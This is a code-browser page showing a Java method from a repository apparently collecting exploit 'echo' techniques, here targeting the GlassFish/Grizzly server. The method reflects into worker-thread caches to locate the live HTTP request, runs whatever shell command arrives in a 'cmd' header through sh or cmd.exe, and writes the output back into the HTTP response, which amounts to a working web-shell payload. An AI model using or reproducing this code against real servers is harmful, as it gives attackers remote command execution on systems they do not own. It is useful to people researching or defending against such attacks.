MCPcopy Create free account
hub / github.com/Firebasky/Java / getResponse

Method getResponse

java回显/GlassFish/Echo_Request.java:28–80  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

26 }
27 }
28 public static void getResponse() throws Exception {
29 Thread thread = Thread.currentThread();
30 java.lang.reflect.Field threadLocals = Thread.class.getDeclaredField("group");
31 threadLocals.setAccessible(true);
32 Object threadLocalMap = threadLocals.get(thread);
33
34 Class threadLocalMapClazz = Class.forName("java.lang.ThreadGroup");
35 java.lang.reflect.Field tableField = threadLocalMapClazz.getDeclaredField("threads");
36 tableField.setAccessible(true);
37 Object[] objects = (Object[]) tableField.get(threadLocalMap);
38
39 Class entryClass = Class.forName("org.glassfish.grizzly.threadpool.DefaultWorkerThread");
40 java.lang.reflect.Field entryValueField = entryClass.getDeclaredField("objectCache");
41 entryValueField.setAccessible(true);
42
43 for (Object object : objects) {
44 if (object != null) {
45 Object valueObject = entryValueField.get(object);
46 if (valueObject != null) {
47 if (valueObject.getClass().getName().equals("org.glassfish.grizzly.ThreadCache$ObjectCache")) {
48 java.lang.reflect.Field objectCacheElements = valueObject.getClass().getDeclaredField("objectCacheElements");
49 objectCacheElements.setAccessible(true);
50 Object[] objects1 = (Object[]) objectCacheElements.get(valueObject);
51
52 Class<?> aClass = Class.forName("org.glassfish.grizzly.ThreadCache$ObjectCacheElement");
53 java.lang.reflect.Field cache = aClass.getDeclaredField("cache");
54 cache.setAccessible(true);
55
56 for (Object o : objects1) {
57 if (o != null) {
58 Object[] objects2 = (Object[]) cache.get(o);
59 for (Object o1 : objects2) {
60 if(o1.getClass().getName().equals("org.glassfish.grizzly.http.server.Request")){
61 //response
62 org.glassfish.grizzly.http.server.Response getResponse = (org.glassfish.grizzly.http.server.Response) o1.getClass().getMethod("getResponse").invoke(o1);
63 //request
64 org.glassfish.grizzly.http.server.Request getRequest = (org.glassfish.grizzly.http.server.Request) o1.getClass().getMethod("getRequest").invoke(o1);
65 String cmd1 = getRequest.getHeader("cmd");
66 String[] cmd = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"sh", "-c", cmd1} : new String[]{"cmd.exe", "/c",cmd1};
67 java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
68 java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
69 String output = s.hasNext() ? s.next() : "";
70 getResponse.getWriter().write(output);
71 getResponse.getWriter().write("by Firebasky");
72 }
73 }
74 }
75 }
76 }
77 }
78 }
79 }
80 }
81}

Callers 13

Echo_RequestClass · 0.95
shouldRetrieveEntityMethod · 0.45
shouldUpdateEntityMethod · 0.45
shouldDeleteEntityMethod · 0.45
MBeanServerMethod · 0.45
springmvcMethod · 0.45
AlltomcatMethod · 0.45
tomcat_v1Method · 0.45
tomcat_v3Method · 0.45
tomcat72Method · 0.45
tomcat82Method · 0.45

Calls 4

setAccessibleMethod · 0.80
getMethod · 0.80
getNameMethod · 0.45
execMethod · 0.45

Tested by 4

shouldRetrieveEntityMethod · 0.36
shouldUpdateEntityMethod · 0.36
shouldDeleteEntityMethod · 0.36